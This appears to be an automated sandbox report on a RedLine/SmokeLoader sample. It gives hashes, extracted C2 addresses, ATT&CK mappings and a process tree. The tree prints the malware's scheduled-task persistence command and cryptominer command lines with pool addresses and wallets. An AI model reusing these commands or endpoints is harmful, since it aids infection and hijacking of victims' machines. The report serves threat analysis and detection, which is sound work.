redline | 31a05be935773dbbcf90bc69e0784abb5e269cd009a4498d48e0c4a3c84e9d67

Analysis

max time kernel
62s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
24/10/2022, 22:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
832779cea083c3399318340f613e8a63.exe
Size 222KB
Sample221024-16r33saghk
SHA256 31a05be935773dbbcf90bc69e0784abb5e269cd009a4498d48e0c4a3c84e9d67
MD5 832779cea083c3399318340f613e8a63
SHA1 0463a5e44c6b9b407a9404a7ae056f663fcf4a15
SHA512 9d6f37543423bade3d8be38b0b8af0538897e67327f880da25580519e6288b3ffaa5b62af3ba5d9c08881df6c0b8fd299b77ec0b1d712062511b7974e5410a73
SSDEEP 3072:9d2Nex9Xy8SvyGowCLGrZ2wXt6sk5jRp39UJDv25SuWLX1iHFjTQ6LWI:9dhxVACLsXtF6/9UB25SuWLFyk6L
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline smokeloader google2 nam7 slovarik15btc backdoor discovery infostealer spyware stealer trojan

Malware Config

Extracted

Family

redline

Botnet

nam7

103.89.90.61:34589

Attributes

auth_value
533c8fbdab4382453812c73ea2cee5b8

Extracted

Family

redline

Botnet

slovarik15btc

78.153.144.3:2510

Attributes

auth_value
bfedad55292538ad3edd07ac95ad8952

Extracted

Family

redline

Botnet

Google2

167.235.71.14:20469

Attributes

auth_value
fb274d9691235ba015830da570a13578

Signatures

Detects Smokeloader packer 2 IoCs

resource	yara_rule
behavioral2/memory/4716-133-0x00000000001F0000-0x00000000001F9000-memory.dmp	family_smokeloader
behavioral2/memory/4348-221-0x0000000000740000-0x0000000000747000-memory.dmp	family_smokeloader

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

resource	yara_rule
behavioral2/memory/3472-164-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral2/memory/4528-169-0x0000000000160000-0x0000000000218000-memory.dmp	family_redline
behavioral2/memory/1612-186-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral2/memory/3984-191-0x0000000000E30000-0x0000000000EE8000-memory.dmp	family_redline
behavioral2/memory/2400-196-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral2/memory/1504-201-0x0000000000970000-0x0000000000A28000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
3552	C326.exe
4084	CB83.exe
4528	D73C.exe
4576	DC00.exe
3984	C29.exe
1504	1206.exe
4988	19B8.exe
4040	UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
3760	LYKAA.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	19B8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	LYKAA.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4528 set thread context of 3472	4528	D73C.exe	93
PID 3984 set thread context of 1612	3984	C29.exe	102
PID 1504 set thread context of 2400	1504	1206.exe	104
PID 3760 set thread context of 3712	3760	LYKAA.exe	121

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
4652	3552	WerFault.exe	88
4360	4084	WerFault.exe	89
3132	4576	WerFault.exe	92

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	832779cea083c3399318340f613e8a63.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	832779cea083c3399318340f613e8a63.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	832779cea083c3399318340f613e8a63.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3160	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1768	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4716	832779cea083c3399318340f613e8a63.exe
4716	832779cea083c3399318340f613e8a63.exe
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2832	Process not Found

Suspicious behavior: MapViewOfSection 19 IoCs

pid	Process
4716	832779cea083c3399318340f613e8a63.exe
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found
2832	Process not Found

Suspicious use of AdjustPrivilegeToken 59 IoCs

description	pid	Process
Token: SeDebugPrivilege	3552	C326.exe
Token: SeDebugPrivilege	4084	CB83.exe
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeDebugPrivilege	4576	DC00.exe
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeDebugPrivilege	4040	UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeDebugPrivilege	3760	LYKAA.exe
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeDebugPrivilege	2400	RegSvcs.exe
Token: SeDebugPrivilege	1612	RegSvcs.exe
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found
Token: SeShutdownPrivilege	2832	Process not Found
Token: SeCreatePagefilePrivilege	2832	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2832 wrote to memory of 3552	2832	Process not Found	88
PID 2832 wrote to memory of 3552	2832	Process not Found	88
PID 2832 wrote to memory of 3552	2832	Process not Found	88
PID 2832 wrote to memory of 4084	2832	Process not Found	89
PID 2832 wrote to memory of 4084	2832	Process not Found	89
PID 2832 wrote to memory of 4084	2832	Process not Found	89
PID 2832 wrote to memory of 4528	2832	Process not Found	91
PID 2832 wrote to memory of 4528	2832	Process not Found	91
PID 2832 wrote to memory of 4528	2832	Process not Found	91
PID 2832 wrote to memory of 4576	2832	Process not Found	92
PID 2832 wrote to memory of 4576	2832	Process not Found	92
PID 2832 wrote to memory of 4576	2832	Process not Found	92
PID 4528 wrote to memory of 3472	4528	D73C.exe	93
PID 4528 wrote to memory of 3472	4528	D73C.exe	93
PID 4528 wrote to memory of 3472	4528	D73C.exe	93
PID 4528 wrote to memory of 3472	4528	D73C.exe	93
PID 4528 wrote to memory of 3472	4528	D73C.exe	93
PID 2832 wrote to memory of 3984	2832	Process not Found	101
PID 2832 wrote to memory of 3984	2832	Process not Found	101
PID 2832 wrote to memory of 3984	2832	Process not Found	101
PID 3984 wrote to memory of 1612	3984	C29.exe	102
PID 3984 wrote to memory of 1612	3984	C29.exe	102
PID 3984 wrote to memory of 1612	3984	C29.exe	102
PID 3984 wrote to memory of 1612	3984	C29.exe	102
PID 3984 wrote to memory of 1612	3984	C29.exe	102
PID 2832 wrote to memory of 1504	2832	Process not Found	103
PID 2832 wrote to memory of 1504	2832	Process not Found	103
PID 2832 wrote to memory of 1504	2832	Process not Found	103
PID 1504 wrote to memory of 2400	1504	1206.exe	104
PID 1504 wrote to memory of 2400	1504	1206.exe	104
PID 1504 wrote to memory of 2400	1504	1206.exe	104
PID 1504 wrote to memory of 2400	1504	1206.exe	104
PID 1504 wrote to memory of 2400	1504	1206.exe	104
PID 2832 wrote to memory of 4988	2832	Process not Found	105
PID 2832 wrote to memory of 4988	2832	Process not Found	105
PID 4988 wrote to memory of 4040	4988	19B8.exe	106
PID 4988 wrote to memory of 4040	4988	19B8.exe	106
PID 4040 wrote to memory of 4524	4040	UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe	109
PID 4040 wrote to memory of 4524	4040	UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe	109
PID 4524 wrote to memory of 1768	4524	cmd.exe	108
PID 4524 wrote to memory of 1768	4524	cmd.exe	108
PID 4524 wrote to memory of 3760	4524	cmd.exe	110
PID 4524 wrote to memory of 3760	4524	cmd.exe	110
PID 2832 wrote to memory of 4348	2832	Process not Found	111
PID 2832 wrote to memory of 4348	2832	Process not Found	111
PID 2832 wrote to memory of 4348	2832	Process not Found	111
PID 2832 wrote to memory of 4348	2832	Process not Found	111
PID 3760 wrote to memory of 2352	3760	LYKAA.exe	113
PID 3760 wrote to memory of 2352	3760	LYKAA.exe	113
PID 2352 wrote to memory of 3160	2352	cmd.exe	114
PID 2352 wrote to memory of 3160	2352	cmd.exe	114
PID 2832 wrote to memory of 748	2832	Process not Found	115
PID 2832 wrote to memory of 748	2832	Process not Found	115
PID 2832 wrote to memory of 748	2832	Process not Found	115
PID 2832 wrote to memory of 3628	2832	Process not Found	116
PID 2832 wrote to memory of 3628	2832	Process not Found	116
PID 2832 wrote to memory of 3628	2832	Process not Found	116
PID 2832 wrote to memory of 3628	2832	Process not Found	116
PID 2832 wrote to memory of 3432	2832	Process not Found	117
PID 2832 wrote to memory of 3432	2832	Process not Found	117
PID 2832 wrote to memory of 3432	2832	Process not Found	117
PID 2832 wrote to memory of 4208	2832	Process not Found	118
PID 2832 wrote to memory of 4208	2832	Process not Found	118
PID 2832 wrote to memory of 4208	2832	Process not Found	118

C:\Users\Admin\AppData\Local\Temp\832779cea083c3399318340f613e8a63.exe
"C:\Users\Admin\AppData\Local\Temp\832779cea083c3399318340f613e8a63.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4716

C:\Users\Admin\AppData\Local\Temp\C326.exe
C:\Users\Admin\AppData\Local\Temp\C326.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3552
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1236
  2⤵
  - Program crash
  PID:4652

C:\Users\Admin\AppData\Local\Temp\CB83.exe
C:\Users\Admin\AppData\Local\Temp\CB83.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4084
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4084 -s 1684
  2⤵
  - Program crash
  PID:4360

C:\Users\Admin\AppData\Local\Temp\D73C.exe
C:\Users\Admin\AppData\Local\Temp\D73C.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  PID:3472

C:\Users\Admin\AppData\Local\Temp\DC00.exe
C:\Users\Admin\AppData\Local\Temp\DC00.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4576
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4576 -s 1252
  2⤵
  - Program crash
  PID:3132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3552 -ip 3552
1⤵
PID:628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4084 -ip 4084
1⤵
PID:2464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4576 -ip 4576
1⤵
PID:2584

C:\Users\Admin\AppData\Local\Temp\C29.exe
C:\Users\Admin\AppData\Local\Temp\C29.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3984
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1612

C:\Users\Admin\AppData\Local\Temp\1206.exe
C:\Users\Admin\AppData\Local\Temp\1206.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1504
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2400

C:\Users\Admin\AppData\Local\Temp\19B8.exe
C:\Users\Admin\AppData\Local\Temp\19B8.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
  "C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1DC9.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4524
  - - C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
      "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3760
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2352
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:3160
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.test -p x -t 5
        5⤵
        
        PID:3712
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:4652
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x09672db3c04f1bF3C0B2FaF05eBc09B52A362234.rig -coin etc -log 0
        5⤵
        
        PID:4556

C:\Windows\system32\timeout.exe
timeout 3
1⤵
- Delays execution with timeout.exe
PID:1768

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4348

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:748

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3628

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3432

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4208

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4284

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3236

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:5112

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2308

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LYKAA.exe

Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
Size 836KB
SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
MD5 6bfb71e4fc04d577aeba46eb3412b4fa
SHA1 21a79a3829d6ffde7ce09e8ee237ec76b2f981ac
SHA512 5d536aa610b50dc5e28a855b03d0dffeff618ba5f33fc021c5651b5eec4f85783bcab08157bbc587224a867c22aa36bb11d3d07fc1a73c46b264d9c46c41a6be
SSDEEP 12288:tB6UUnSpQIw9Ax3noGzBLk28SF7U1QwBcoa:tXJmIw9Y5zB428y7U1NB
MD5 SHA1 SHA512 SSDEEP

Submit Download

LYKAA.exe

Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
Size 836KB
SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
MD5 6bfb71e4fc04d577aeba46eb3412b4fa
SHA1 21a79a3829d6ffde7ce09e8ee237ec76b2f981ac
SHA512 5d536aa610b50dc5e28a855b03d0dffeff618ba5f33fc021c5651b5eec4f85783bcab08157bbc587224a867c22aa36bb11d3d07fc1a73c46b264d9c46c41a6be
SSDEEP 12288:tB6UUnSpQIw9Ax3noGzBLk28SF7U1QwBcoa:tXJmIw9Y5zB428y7U1NB
MD5 SHA1 SHA512 SSDEEP

Submit Download

RegSvcs.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log
Size 2KB
SHA256 0b98d99267b9343be223f17fbcedc608f803a7193ee7fe3b662902e96a7c65e5
MD5 00ed77f0198ef7fb2943623375e62be5
SHA1 d3b8ba7ab5189e20776fd8c5c5807a64899e19cd
SHA512 eddf083b0173f8109d633c8c5d4b557da24621d160a80a144bac1db375f5ae656444bc608ac5379aa1573d3555cfed7f0834f9c8ede3a059948d672f0ad9c1b8
MD5 SHA1 SHA512

Submit Download

1206.exe

Path C:\Users\Admin\AppData\Local\Temp\1206.exe
Size 723KB
SHA256 d21b80fc816ccc229f422567e50f2c62c675e2629458367640edc73c941de517
MD5 f81b1484cd0eb01f6a88977c1e4e1673
SHA1 f0fcdca513e1b78edd438c27e1b672a5211c782d
SHA512 5cbb513011fbd9b1630b8803a2e17ce4d3a56fcc050298e4ebab7ce6ece4ab74d3bbec05cf99740a55182bc5d2cf5cc8a6c24bc990df8174e715fff468b15a86
SSDEEP 12288:zQfr26UZpkBqzSsQBmUQEI2yEicJZv7EWZ0ehSFjKiVpuaUiadJHP9hEV:zQfrxUZpkBqB/Ei+ZzEWZzyKXFhEV
MD5 SHA1 SHA512 SSDEEP

Submit Download

1206.exe

Path C:\Users\Admin\AppData\Local\Temp\1206.exe
Size 723KB
SHA256 d21b80fc816ccc229f422567e50f2c62c675e2629458367640edc73c941de517
MD5 f81b1484cd0eb01f6a88977c1e4e1673
SHA1 f0fcdca513e1b78edd438c27e1b672a5211c782d
SHA512 5cbb513011fbd9b1630b8803a2e17ce4d3a56fcc050298e4ebab7ce6ece4ab74d3bbec05cf99740a55182bc5d2cf5cc8a6c24bc990df8174e715fff468b15a86
SSDEEP 12288:zQfr26UZpkBqzSsQBmUQEI2yEicJZv7EWZ0ehSFjKiVpuaUiadJHP9hEV:zQfrxUZpkBqB/Ei+ZzEWZzyKXFhEV
MD5 SHA1 SHA512 SSDEEP

Submit Download

19B8.exe

Path C:\Users\Admin\AppData\Local\Temp\19B8.exe
Size 1.1MB
SHA256 be73afa7a9b39a447b38dc20b76017742364402e4dcaf629a014a694ed202d6a
MD5 de13415883a0ce890e192af659fcf88e
SHA1 29e798a45ef4b766de0ad2bbc69a869779b0be1d
SHA512 87e90bec47ccfd69008e656c53ed29ae9a7da98a13f4f51584f186f3b3c1d1406296059b8f5e8873800d2293e7f2034b8f7261bf7751653fd68174c928c32a9b
SSDEEP 24576:h7E+sV3XWbVSfTRjjj7r72XCdWnIk/DIy:ZtMjjromWnIEIy
MD5 SHA1 SHA512 SSDEEP

Submit Download

19B8.exe

Path C:\Users\Admin\AppData\Local\Temp\19B8.exe
Size 1.1MB
SHA256 be73afa7a9b39a447b38dc20b76017742364402e4dcaf629a014a694ed202d6a
MD5 de13415883a0ce890e192af659fcf88e
SHA1 29e798a45ef4b766de0ad2bbc69a869779b0be1d
SHA512 87e90bec47ccfd69008e656c53ed29ae9a7da98a13f4f51584f186f3b3c1d1406296059b8f5e8873800d2293e7f2034b8f7261bf7751653fd68174c928c32a9b
SSDEEP 24576:h7E+sV3XWbVSfTRjjj7r72XCdWnIk/DIy:ZtMjjromWnIEIy
MD5 SHA1 SHA512 SSDEEP

Submit Download

C29.exe

Path C:\Users\Admin\AppData\Local\Temp\C29.exe
Size 723KB
SHA256 d05cbb0b2b1411052be5354305d8756164f97131cedac1a8cdec82e7bc3a6713
MD5 b901b6bb2e93a2e579c10217bbdc3a88
SHA1 2cd05d98a0d54b470a245bc39b593f0ce2529e65
SHA512 75ba17f1e722a8de61972afcc81a5b247da74aba5928ccf3a2710b9dbc5194fbe9fe5570ec3a3e0a166abfacbeb489c0f5f7adea3bd35a8d2dfc5a82cf06dcab
SSDEEP 12288:rQfr26UZpkBqzSsQBmUQEI2yEicJZv7EWZ0ehSFjKiVpuaUiarZVKEohPo:rQfrxUZpkBqB/Ei+ZzEWZzyKVVKzo
MD5 SHA1 SHA512 SSDEEP

Submit Download

C29.exe

Path C:\Users\Admin\AppData\Local\Temp\C29.exe
Size 723KB
SHA256 d05cbb0b2b1411052be5354305d8756164f97131cedac1a8cdec82e7bc3a6713
MD5 b901b6bb2e93a2e579c10217bbdc3a88
SHA1 2cd05d98a0d54b470a245bc39b593f0ce2529e65
SHA512 75ba17f1e722a8de61972afcc81a5b247da74aba5928ccf3a2710b9dbc5194fbe9fe5570ec3a3e0a166abfacbeb489c0f5f7adea3bd35a8d2dfc5a82cf06dcab
SSDEEP 12288:rQfr26UZpkBqzSsQBmUQEI2yEicJZv7EWZ0ehSFjKiVpuaUiarZVKEohPo:rQfrxUZpkBqB/Ei+ZzEWZzyKVVKzo
MD5 SHA1 SHA512 SSDEEP

Submit Download

C326.exe

Path C:\Users\Admin\AppData\Local\Temp\C326.exe
Size 368KB
SHA256 e0dc0990501e5fd3d56e2b77d99e6dd7256b576c63e011dbd273195ca380abc6
MD5 0d5b6d3c2dd0e9eb170ea1e1e06fb73d
SHA1 b4cd233e78c4b65fea910aefb33cd9cfdc07bfb4
SHA512 65eb0ba45efe71fd0081f84988658176359926e1cbbd4333372cdcae4fffbdebda7f8a9065d12331476104e67406301e32496b880d51a19a3841ffe68b61ffe2
SSDEEP 6144:JLJypHIyLr5PGxo/h3qEigkKQa3PTzidoescMP7E5RNqG34:JLJypHpf5PGCh3fiu3r5cMI5RN
MD5 SHA1 SHA512 SSDEEP

Submit Download

C326.exe

Path C:\Users\Admin\AppData\Local\Temp\C326.exe
Size 368KB
SHA256 e0dc0990501e5fd3d56e2b77d99e6dd7256b576c63e011dbd273195ca380abc6
MD5 0d5b6d3c2dd0e9eb170ea1e1e06fb73d
SHA1 b4cd233e78c4b65fea910aefb33cd9cfdc07bfb4
SHA512 65eb0ba45efe71fd0081f84988658176359926e1cbbd4333372cdcae4fffbdebda7f8a9065d12331476104e67406301e32496b880d51a19a3841ffe68b61ffe2
SSDEEP 6144:JLJypHIyLr5PGxo/h3qEigkKQa3PTzidoescMP7E5RNqG34:JLJypHpf5PGCh3fiu3r5cMI5RN
MD5 SHA1 SHA512 SSDEEP

Submit Download

CB83.exe

Path C:\Users\Admin\AppData\Local\Temp\CB83.exe
Size 380KB
SHA256 e2e9789c57c2cf4588539a0b07da6470f29c2aba69cf353c0b7ce54ada2b0648
MD5 19eae3de588dc69f8456e86471eed0f0
SHA1 9e8c2d3c10e3b2ea550ea19e83bbec400fd54d65
SHA512 89bce443c2697781f03776b37cc876352206cff62429d55a5e9b38a87fb10b7d921cf97eaf6ed7dea19372120c0742f5378abbe6e48a3def1e635cccb2617fa6
SSDEEP 6144:k36pfL+LkvTwhOebt+vO2g1pTOtg9nQlBPREgfykUlqMmQPT2ywry:k36pCGEOe2ApO6nQlBP6/kAqMD7X
MD5 SHA1 SHA512 SSDEEP

Submit Download

CB83.exe

Path C:\Users\Admin\AppData\Local\Temp\CB83.exe
Size 380KB
SHA256 e2e9789c57c2cf4588539a0b07da6470f29c2aba69cf353c0b7ce54ada2b0648
MD5 19eae3de588dc69f8456e86471eed0f0
SHA1 9e8c2d3c10e3b2ea550ea19e83bbec400fd54d65
SHA512 89bce443c2697781f03776b37cc876352206cff62429d55a5e9b38a87fb10b7d921cf97eaf6ed7dea19372120c0742f5378abbe6e48a3def1e635cccb2617fa6
